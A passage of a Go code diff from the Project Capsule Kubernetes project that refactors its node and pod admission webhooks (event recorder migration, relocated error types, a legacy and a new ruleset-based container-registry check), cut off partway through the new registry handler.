    +func (r *handler) OnCreate(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (r *handler) OnDelete(client client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (r *handler) OnDelete(client client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		allowed, err := r.handle(ctx, req, client, decoder)
     		if err != nil {
    @@ -46,7 +46,7 @@ func (r *handler) OnDelete(client client.Client, decoder admission.Decoder, _ re
     	}
     }
     
    -func (r *handler) OnUpdate(client client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (r *handler) OnUpdate(client client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		allowed, err := r.handle(ctx, req, client, decoder)
     		if err != nil {
    
  • internal/webhook/node/user_metadata.go+13 11 modified
    @@ -9,40 +9,42 @@ import (
     
     	corev1 "k8s.io/api/core/v1"
     	"k8s.io/apimachinery/pkg/util/version"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type userMetadataHandler struct {
     	configuration configuration.Configuration
     	version       *version.Version
     }
     
    -func UserMetadataHandler(configuration configuration.Configuration, ver *version.Version) capsulewebhook.Handler {
    +func UserMetadataHandler(configuration configuration.Configuration, ver *version.Version) handlers.Handler {
     	return &userMetadataHandler{
     		configuration: configuration,
     		version:       ver,
     	}
     }
     
    -func (r *userMetadataHandler) OnCreate(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (r *userMetadataHandler) OnCreate(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (r *userMetadataHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (r *userMetadataHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (r *userMetadataHandler) OnUpdate(_ client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (r *userMetadataHandler) OnUpdate(_ client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		nodeWebhookSupported, _ := utils.NodeWebhookSupported(r.version)
     
    @@ -65,9 +67,9 @@ func (r *userMetadataHandler) OnUpdate(_ client.Client, decoder admission.Decode
     			newNodeForbiddenLabels := r.getForbiddenNodeLabels(newNode)
     
     			if !reflect.DeepEqual(oldNodeForbiddenLabels, newNodeForbiddenLabels) {
    -				recorder.Eventf(newNode, corev1.EventTypeWarning, "ForbiddenNodeLabel", "Denied modifying forbidden labels on node")
    +				recorder.Eventf(newNode, oldNode, corev1.EventTypeWarning, evt.ReasonForbiddenLabel, evt.ActionValidationDenied, "Denied modifying forbidden labels on node")
     
    -				response := admission.Denied(NewNodeLabelForbiddenError(r.configuration.ForbiddenUserNodeLabels()).Error())
    +				response := admission.Denied(caperrors.NewNodeLabelForbiddenError(r.configuration.ForbiddenUserNodeLabels()).Error())
     
     				return &response
     			}
    @@ -78,9 +80,9 @@ func (r *userMetadataHandler) OnUpdate(_ client.Client, decoder admission.Decode
     			newNodeForbiddenAnnotations := r.getForbiddenNodeAnnotations(newNode)
     
     			if !reflect.DeepEqual(oldNodeForbiddenAnnotations, newNodeForbiddenAnnotations) {
    -				recorder.Eventf(newNode, corev1.EventTypeWarning, "ForbiddenNodeLabel", "Denied modifying forbidden annotations on node")
    +				recorder.Eventf(newNode, oldNode, corev1.EventTypeWarning, evt.ReasonForbiddenLabel, evt.ActionValidationDenied, "Denied modifying forbidden annotations on node")
     
    -				response := admission.Denied(NewNodeAnnotationForbiddenError(r.configuration.ForbiddenUserNodeAnnotations()).Error())
    +				response := admission.Denied(caperrors.NewNodeAnnotationForbiddenError(r.configuration.ForbiddenUserNodeAnnotations()).Error())
     
     				return &response
     			}
    
  • internal/webhook/pod/containerregistry_errors.go+0 54 removed
    @@ -1,54 +0,0 @@
    -// Copyright 2020-2026 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package pod
    -
    -import (
    -	"fmt"
    -	"strings"
    -
    -	"github.com/projectcapsule/capsule/pkg/api"
    -)
    -
    -type missingContainerRegistryError struct {
    -	fqci string
    -}
    -
    -func (m missingContainerRegistryError) Error() string {
    -	return fmt.Sprintf("container image %s is missing repository, please, use a fully qualified container image name", m.fqci)
    -}
    -
    -func NewMissingContainerRegistryError(image string) error {
    -	return &missingContainerRegistryError{fqci: image}
    -}
    -
    -type registryClassForbiddenError struct {
    -	fqci string
    -	spec api.AllowedListSpec
    -}
    -
    -func NewContainerRegistryForbidden(image string, spec api.AllowedListSpec) error {
    -	return &registryClassForbiddenError{
    -		fqci: image,
    -		spec: spec,
    -	}
    -}
    -
    -func (f registryClassForbiddenError) Error() (err string) {
    -	err = fmt.Sprintf("Container image %s registry is forbidden for the current Tenant: ", f.fqci)
    -
    -	var extra []string
    -
    -	if len(f.spec.Exact) > 0 {
    -		extra = append(extra, fmt.Sprintf("use one from the following list (%s)", strings.Join(f.spec.Exact, ", ")))
    -	}
    -
    -	//nolint:staticcheck
    -	if len(f.spec.Regex) > 0 {
    -		extra = append(extra, fmt.Sprintf(" use one matching the following regex (%s)", f.spec.Regex))
    -	}
    -
    -	err += strings.Join(extra, " or ")
    -
    -	return err
    -}
    
  • internal/webhook/pod/containerregistry.go+0 128 removed
    @@ -1,128 +0,0 @@
    -// Copyright 2020-2026 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package pod
    -
    -import (
    -	"context"
    -
    -	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    -	"sigs.k8s.io/controller-runtime/pkg/client"
    -	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
    -
    -	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -)
    -
    -type containerRegistryHandler struct {
    -	configuration configuration.Configuration
    -}
    -
    -func ContainerRegistry(configuration configuration.Configuration) capsulewebhook.TypedHandlerWithTenant[*corev1.Pod] {
    -	return &containerRegistryHandler{
    -		configuration: configuration,
    -	}
    -}
    -
    -func (h *containerRegistryHandler) OnCreate(
    -	c client.Client,
    -	pod *corev1.Pod,
    -	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    -	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    -	return func(ctx context.Context, req admission.Request) *admission.Response {
    -		return h.validate(req, pod, tnt, recorder)
    -	}
    -}
    -
    -func (h *containerRegistryHandler) OnUpdate(
    -	c client.Client,
    -	old *corev1.Pod,
    -	pod *corev1.Pod,
    -	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    -	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    -	return func(ctx context.Context, req admission.Request) *admission.Response {
    -		return h.validate(req, pod, tnt, recorder)
    -	}
    -}
    -
    -func (h *containerRegistryHandler) OnDelete(
    -	client.Client,
    -	*corev1.Pod,
    -	admission.Decoder,
    -	record.EventRecorder,
    -	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    -	return func(context.Context, admission.Request) *admission.Response {
    -		return nil
    -	}
    -}
    -
    -func (h *containerRegistryHandler) validate(
    -	req admission.Request,
    -	pod *corev1.Pod,
    -	tnt *capsulev1beta2.Tenant,
    -	recorder record.EventRecorder,
    -) *admission.Response {
    -	if tnt.Spec.ContainerRegistries == nil {
    -		return nil
    -	}
    -
    -	for _, container := range pod.Spec.InitContainers {
    -		if response := h.verifyContainerRegistry(recorder, req, container.Image, tnt); response != nil {
    -			return response
    -		}
    -	}
    -
    -	for _, container := range pod.Spec.EphemeralContainers {
    -		if response := h.verifyContainerRegistry(recorder, req, container.Image, tnt); response != nil {
    -			return response
    -		}
    -	}
    -
    -	for _, container := range pod.Spec.Containers {
    -		if response := h.verifyContainerRegistry(recorder, req, container.Image, tnt); response != nil {
    -			return response
    -		}
    -	}
    -
    -	return nil
    -}
    -
    -func (h *containerRegistryHandler) verifyContainerRegistry(
    -	recorder record.EventRecorder,
    -	req admission.Request,
    -	image string,
    -	tnt *capsulev1beta2.Tenant,
    -) *admission.Response {
    -	var valid, matched bool
    -
    -	reg := NewRegistry(image, h.configuration)
    -
    -	if len(reg.Registry()) == 0 {
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "MissingFQCI", "Pod %s/%s is not using a fully qualified container image, cannot enforce registry the current Tenant", req.Namespace, req.Name, reg.Registry())
    -
    -		response := admission.Denied(NewContainerRegistryForbidden(image, *tnt.Spec.ContainerRegistries).Error())
    -
    -		return &response
    -	}
    -
    -	valid = tnt.Spec.ContainerRegistries.ExactMatch(reg.Registry())
    -
    -	matched = tnt.Spec.ContainerRegistries.RegexMatch(reg.Registry())
    -
    -	if !valid && !matched {
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenContainerRegistry", "Pod %s/%s is using a container hosted on registry %s that is forbidden for the current Tenant", req.Namespace, req.Name, reg.Registry())
    -
    -		response := admission.Denied(NewContainerRegistryForbidden(reg.FQCI(), *tnt.Spec.ContainerRegistries).Error())
    -
    -		return &response
    -	}
    -
    -	return nil
    -}
    
  • internal/webhook/pod/containerregistry_legacy.go+153 0 added
    @@ -0,0 +1,153 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package pod
    +
    +import (
    +	"context"
    +
    +	corev1 "k8s.io/api/core/v1"
    +	"k8s.io/client-go/tools/events"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +)
    +
    +type containerRegistryLegacyHandler struct {
    +	configuration configuration.Configuration
    +}
    +
    +func ContainerRegistryLegacy(configuration configuration.Configuration) handlers.TypedHandlerWithTenantWithRuleset[*corev1.Pod] {
    +	return &containerRegistryLegacyHandler{
    +		configuration: configuration,
    +	}
    +}
    +
    +func (h *containerRegistryLegacyHandler) OnCreate(
    +	c client.Client,
    +	pod *corev1.Pod,
    +	decoder admission.Decoder,
    +	recorder events.EventRecorder,
    +	tnt *capsulev1beta2.Tenant,
    +	_ *capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
    +	return func(ctx context.Context, req admission.Request) *admission.Response {
    +		return h.validate(req, pod, tnt, recorder)
    +	}
    +}
    +
    +func (h *containerRegistryLegacyHandler) OnUpdate(
    +	c client.Client,
    +	old *corev1.Pod,
    +	pod *corev1.Pod,
    +	decoder admission.Decoder,
    +	recorder events.EventRecorder,
    +	tnt *capsulev1beta2.Tenant,
    +	_ *capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
    +	return func(ctx context.Context, req admission.Request) *admission.Response {
    +		return h.validate(req, pod, tnt, recorder)
    +	}
    +}
    +
    +func (h *containerRegistryLegacyHandler) OnDelete(
    +	client.Client,
    +	*corev1.Pod,
    +	admission.Decoder,
    +	events.EventRecorder,
    +	*capsulev1beta2.Tenant,
    +	*capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
    +	return func(context.Context, admission.Request) *admission.Response {
    +		return nil
    +	}
    +}
    +
    +func (h *containerRegistryLegacyHandler) validate(
    +	req admission.Request,
    +	pod *corev1.Pod,
    +	tnt *capsulev1beta2.Tenant,
    +	recorder events.EventRecorder,
    +) *admission.Response {
    +	//nolint:staticcheck
    +	if tnt.Spec.ContainerRegistries == nil {
    +		return nil
    +	}
    +
    +	for _, container := range pod.Spec.InitContainers {
    +		if response := h.verifyContainerRegistry(recorder, pod, req, container.Image, tnt); response != nil {
    +			return response
    +		}
    +	}
    +
    +	for _, container := range pod.Spec.EphemeralContainers {
    +		if response := h.verifyContainerRegistry(recorder, pod, req, container.Image, tnt); response != nil {
    +			return response
    +		}
    +	}
    +
    +	for _, container := range pod.Spec.Containers {
    +		if response := h.verifyContainerRegistry(recorder, pod, req, container.Image, tnt); response != nil {
    +			return response
    +		}
    +	}
    +
    +	return nil
    +}
    +
    +func (h *containerRegistryLegacyHandler) verifyContainerRegistry(
    +	recorder events.EventRecorder,
    +	pod *corev1.Pod,
    +	req admission.Request,
    +	image string,
    +	tnt *capsulev1beta2.Tenant,
    +) *admission.Response {
    +	var valid, matched bool
    +
    +	reg := NewRegistry(image, h.configuration)
    +
    +	if len(reg.Registry()) == 0 {
    +		recorder.Eventf(
    +			pod,
    +			tnt,
    +			corev1.EventTypeWarning,
    +			evt.ReasonMissingFQCI,
    +			evt.ActionValidationDenied,
    +			"Using a fully qualified container image, cannot enforce registry for the tenant %s", reg.Registry(), tnt.GetName(),
    +		)
    +
    +		//nolint:staticcheck
    +		response := admission.Denied(caperrors.NewContainerRegistryForbidden(image, *tnt.Spec.ContainerRegistries).Error())
    +
    +		return &response
    +	}
    +
    +	//nolint:staticcheck
    +	valid = tnt.Spec.ContainerRegistries.ExactMatch(reg.Registry())
    +
    +	//nolint:staticcheck
    +	matched = tnt.Spec.ContainerRegistries.RegexMatch(reg.Registry())
    +
    +	if !valid && !matched {
    +		recorder.Eventf(
    +			pod,
    +			tnt,
    +			corev1.EventTypeWarning,
    +			evt.ReasonForbiddenContainerRegistry,
    +			evt.ActionValidationDenied,
    +			"Using a container hosted on registry %s that is forbidden for the tenant %s", reg.Registry(), tnt.GetName(),
    +		)
    +
    +		//nolint:staticcheck
    +		response := admission.Denied(caperrors.NewContainerRegistryForbidden(reg.FQCI(), *tnt.Spec.ContainerRegistries).Error())
    +
    +		return &response
    +	}
    +
    +	return nil
    +}
    
  • internal/webhook/pod/containerregistry_legacy_registry.go+1 1 renamed
    @@ -8,7 +8,7 @@ import (
     	"regexp"
     	"strings"
     
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
     )
     
     type registry map[string]string
    
  • internal/webhook/pod/handler.go+4 5 modified
    @@ -6,15 +6,14 @@ package pod
     import (
     	corev1 "k8s.io/api/core/v1"
     
    -	"github.com/projectcapsule/capsule/internal/webhook"
    -	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
    -func Handler(handlers ...webhook.TypedHandlerWithTenant[*corev1.Pod]) webhook.Handler {
    -	return &utils.TypedTenantHandler[*corev1.Pod]{
    +func Handler(handler ...handlers.TypedHandlerWithTenantWithRuleset[*corev1.Pod]) handlers.Handler {
    +	return &handlers.TypedTenantWithRulesetHandler[*corev1.Pod]{
     		Factory: func() *corev1.Pod {
     			return &corev1.Pod{}
     		},
    -		Handlers: handlers,
    +		Handlers: handler,
     	}
     }
    
  • internal/webhook/pod/imagepullpolicy_errors.go+0 27 removed
    @@ -1,27 +0,0 @@
    -// Copyright 2020-2026 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package pod
    -
    -import (
    -	"fmt"
    -	"strings"
    -)
    -
    -type imagePullPolicyForbiddenError struct {
    -	usedPullPolicy      string
    -	allowedPullPolicies []string
    -	containerName       string
    -}
    -
    -func NewImagePullPolicyForbidden(usedPullPolicy, containerName string, allowedPullPolicies []string) error {
    -	return &imagePullPolicyForbiddenError{
    -		usedPullPolicy:      usedPullPolicy,
    -		containerName:       containerName,
    -		allowedPullPolicies: allowedPullPolicies,
    -	}
    -}
    -
    -func (f imagePullPolicyForbiddenError) Error() (err string) {
    -	return fmt.Sprintf("ImagePullPolicy %s for container %s is forbidden, use one of the followings: %s", f.usedPullPolicy, f.containerName, strings.Join(f.allowedPullPolicies, ", "))
    -}
    
  • internal/webhook/pod/imagepullpolicy.go+30 17 modified
    @@ -7,27 +7,30 @@ import (
     	"context"
     
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type imagePullPolicy struct{}
     
    -func ImagePullPolicy() capsulewebhook.TypedHandlerWithTenant[*corev1.Pod] {
    +func ImagePullPolicy() handlers.TypedHandlerWithTenantWithRuleset[*corev1.Pod] {
     	return &imagePullPolicy{}
     }
     
     func (h *imagePullPolicy) OnCreate(
     	c client.Client,
     	pod *corev1.Pod,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +	_ *capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.validate(req, pod, tnt, recorder)
     	}
    @@ -38,9 +41,10 @@ func (h *imagePullPolicy) OnUpdate(
     	old *corev1.Pod,
     	pod *corev1.Pod,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +	_ *capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.validate(req, pod, tnt, recorder)
     	}
    @@ -50,9 +54,10 @@ func (h *imagePullPolicy) OnDelete(
     	client.Client,
     	*corev1.Pod,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +	*capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    @@ -62,27 +67,27 @@ func (h *imagePullPolicy) validate(
     	req admission.Request,
     	pod *corev1.Pod,
     	tnt *capsulev1beta2.Tenant,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     ) *admission.Response {
     	policy := NewPullPolicy(tnt)
     	if policy == nil {
     		return nil
     	}
     
     	for _, container := range pod.Spec.InitContainers {
    -		if response := h.verifyPullPolicy(recorder, req, policy, string(container.ImagePullPolicy), container.Name, tnt); response != nil {
    +		if response := h.verifyPullPolicy(recorder, pod, req, policy, string(container.ImagePullPolicy), container.Name, tnt); response != nil {
     			return response
     		}
     	}
     
     	for _, container := range pod.Spec.EphemeralContainers {
    -		if response := h.verifyPullPolicy(recorder, req, policy, string(container.ImagePullPolicy), container.Name, tnt); response != nil {
    +		if response := h.verifyPullPolicy(recorder, pod, req, policy, string(container.ImagePullPolicy), container.Name, tnt); response != nil {
     			return response
     		}
     	}
     
     	for _, container := range pod.Spec.Containers {
    -		if response := h.verifyPullPolicy(recorder, req, policy, string(container.ImagePullPolicy), container.Name, tnt); response != nil {
    +		if response := h.verifyPullPolicy(recorder, pod, req, policy, string(container.ImagePullPolicy), container.Name, tnt); response != nil {
     			return response
     		}
     	}
    @@ -91,17 +96,25 @@ func (h *imagePullPolicy) validate(
     }
     
     func (h *imagePullPolicy) verifyPullPolicy(
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
    +	pod *corev1.Pod,
     	req admission.Request,
     	policy PullPolicy,
     	usedPullPolicy string,
     	container string,
     	tnt *capsulev1beta2.Tenant,
     ) *admission.Response {
     	if !policy.IsPolicySupported(usedPullPolicy) {
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenPullPolicy", "Pod %s/%s pull policy %s is forbidden for the current Tenant", req.Namespace, req.Name, usedPullPolicy)
    -
    -		response := admission.Denied(NewImagePullPolicyForbidden(usedPullPolicy, container, policy.AllowedPullPolicies()).Error())
    +		recorder.Eventf(
    +			pod,
    +			tnt,
    +			corev1.EventTypeWarning,
    +			evt.ReasonForbiddenPullPolicy,
    +			evt.ActionValidationDenied,
    +			"PullPolicy %s is forbidden for the tenant %s", usedPullPolicy, tnt.GetName(),
    +		)
    +
    +		response := admission.Denied(caperrors.NewImagePullPolicyForbidden(usedPullPolicy, container, policy.AllowedPullPolicies()).Error())
     
     		return &response
     	}
    
  • internal/webhook/pod/imagepullpolicy_pullpolicy.go+1 0 modified
    @@ -32,6 +32,7 @@ func (i imagePullPolicyValidator) AllowedPullPolicies() []string {
     	return i.allowedPolicies
     }
     
    +//nolint:staticcheck
     func NewPullPolicy(tenant *capsulev1beta2.Tenant) PullPolicy {
     	// the Tenant doesn't enforce the allowed image pull policy, returning nil
     	if len(tenant.Spec.ImagePullPolicies) == 0 {
    
  • internal/webhook/pod/priorityclass_errors.go+0 29 removed
    @@ -1,29 +0,0 @@
    -// Copyright 2020-2026 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package pod
    -
    -import (
    -	"fmt"
    -
    -	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/api"
    -)
    -
    -type podPriorityClassForbiddenError struct {
    -	priorityClassName string
    -	spec              api.DefaultAllowedListSpec
    -}
    -
    -func NewPodPriorityClassForbidden(priorityClassName string, spec api.DefaultAllowedListSpec) error {
    -	return &podPriorityClassForbiddenError{
    -		priorityClassName: priorityClassName,
    -		spec:              spec,
    -	}
    -}
    -
    -func (f podPriorityClassForbiddenError) Error() (err string) {
    -	msg := fmt.Sprintf("Pod Priority Class %s is forbidden for the current Tenant: ", f.priorityClassName)
    -
    -	return utils.DefaultAllowedValuesErrorMessage(f.spec, msg)
    -}
    
  • internal/webhook/pod/priorityclass.go+23 11 modified
    @@ -8,28 +8,31 @@ import (
     	"net/http"
     
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type priorityClass struct{}
     
    -func PriorityClass() capsulewebhook.TypedHandlerWithTenant[*corev1.Pod] {
    +func PriorityClass() handlers.TypedHandlerWithTenantWithRuleset[*corev1.Pod] {
     	return &priorityClass{}
     }
     
     func (h *priorityClass) OnCreate(
     	c client.Client,
     	pod *corev1.Pod,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +	_ *capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		allowed := tnt.Spec.PriorityClasses
     
    @@ -68,9 +71,16 @@ func (h *priorityClass) OnCreate(
     		case allowed.Match(priorityClassName) || selector:
     			return nil
     		default:
    -			recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenPriorityClass", "Pod %s/%s is using Priority Class %s is forbidden for the current Tenant", pod.Namespace, pod.Name, priorityClassName)
    +			recorder.Eventf(
    +				pod,
    +				tnt,
    +				corev1.EventTypeWarning,
    +				evt.ReasonForbiddenPriorityClass,
    +				evt.ActionValidationDenied,
    +				"Using Priority Class %s is forbidden for the tenant %s", priorityClassName, tnt.GetName(),
    +			)
     
    -			response := admission.Denied(NewPodPriorityClassForbidden(priorityClassName, *allowed).Error())
    +			response := admission.Denied(caperrors.NewPodPriorityClassForbidden(priorityClassName, *allowed).Error())
     
     			return &response
     		}
    @@ -82,9 +92,10 @@ func (h *priorityClass) OnUpdate(
     	*corev1.Pod,
     	*corev1.Pod,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +	*capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    @@ -94,9 +105,10 @@ func (h *priorityClass) OnDelete(
     	client.Client,
     	*corev1.Pod,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +	*capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    
  • internal/webhook/pod/registry.go+334 0 added
    @@ -0,0 +1,334 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package pod
    +
    +import (
    +	"context"
    +	"fmt"
    +	"net/http"
    +	"sort"
    +	"strings"
    +
    +	corev1 "k8s.io/api/core/v1"
    +	"k8s.io/client-go/tools/events"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/internal/cache"
    +	"github.com/projectcapsule/capsule/pkg/api"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +)
    +
    +type registryHandler struct {
    +	configuration configuration.Configuration
    +	cache         *cache.RegistryRuleSetCache
    +}
    +
    +func ContainerRegistry(configuration configuration.Configuration, cache *cache.RegistryRuleSetCache) handlers.TypedHandlerWithTenantWithRuleset[*corev1.Pod] {
    +	return &registryHandler{
    +		configuration: configuration,
    +		cache:         cache,
    +	}
    +}
    +
    +func (h *registryHandler) OnCreate(
    +	c client.Client,
    +	pod *corev1.Pod,
    +	decoder admission.Decoder,
    +	recorder events.EventRecorder,
    +	tnt *capsulev1beta2.Tenant,
    +	rule *capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
    +	return func(ctx context.Context, req admission.Request) *admission.Response {
    +		return h.validate(req, pod, tnt, recorder, rule)
    +	}
    +}
    +
    +func (h *registryHandler) OnUpdate(
    +	c client.Client,
    +	old *corev1.Pod,
    +	pod *corev1.Pod,
    +	decoder admission.Decoder,
    +	recorder events.EventRecorder,
    +	tnt *capsulev1beta2.Tenant,
    +	rule *capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
    +	return func(ctx context.Context, req admission.Request) *admission.Response {
    +		return h.validate(req, pod, tnt, recorder, rule)
    +	}
    +}
    +
    +func (h *registryHandler) OnDelete(
    +	client.Client,
    +	*corev1.Pod,
    +	admission.Decoder,
    +	events.EventRecorder,
    +	*capsulev1beta2.Tenant,
    +	*capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
    +	return func(context.Context, admission.Request) *admission.Response {
    +		return nil
    +	}
    +}
    +
    +func (h *registryHandler) validate(
    +	req admission.Request,
    +	pod *corev1.Pod,
    +	tnt *capsulev1beta2.Tenant,
    +	recorder events.EventRecorder,
    +	rule *capsulev1beta2.NamespaceRuleBody,
    +) *admission.Response {
    +	if rule == nil || len(rule.Enforce.Registries) == 0 {
    +		resp := admission.Allowed("no registry rules")
    +
    +		return &resp
    +	}
    +
    +	rs, _, err := h.cache.GetOrBuild(rule.Enforce.Registries)
    +	if err != nil {
    +		resp := admission.Errored(http.StatusInternalServerError, err)
    +
    +		return &resp
    +	}
    +
    +	if rs == nil {
    +		resp := admission.Allowed("no registry rules")
    +
    +		return &resp
    +	}
    +
    +	if rs.HasImages {
    +		if resp := h.validateContainers(req, pod, tnt, recorder, rs); resp != nil {
    +			return resp
    +		}
    +	}
    +
    +	if rs.HasVolumes {
    +		if resp := h.validateVolumes(req, pod, tnt, recorder, rs); resp != nil {
    +			return resp
    +		}
    +	}
    +
    +	return nil
    +}
    +
    +func (h *registryHandler) validateContainers(
    +	req admission.Request,
    +	pod *corev1.Pod,
    +	tnt *capsulev1beta2.Tenant,
    +	recorder events.EventRecorder,
    +	rs *cache.RuleSet,
    +) *admission.Response {
    +	for i := range pod.Spec.InitContainers {
    +		c := pod.Spec.InitContainers[i]
    +		if resp := h.verifyOCIReference(recorder, req, tnt, pod, rs, api.ValidateImages, c.Image, c.ImagePullPolicy, fmt.Sprintf("initContainers[%d]", i)); resp != nil {
    +			return resp
    +		}
    +	}
    +
    +	for i := range pod.Spec.EphemeralContainers {
    +		c := pod.Spec.EphemeralContainers[i]
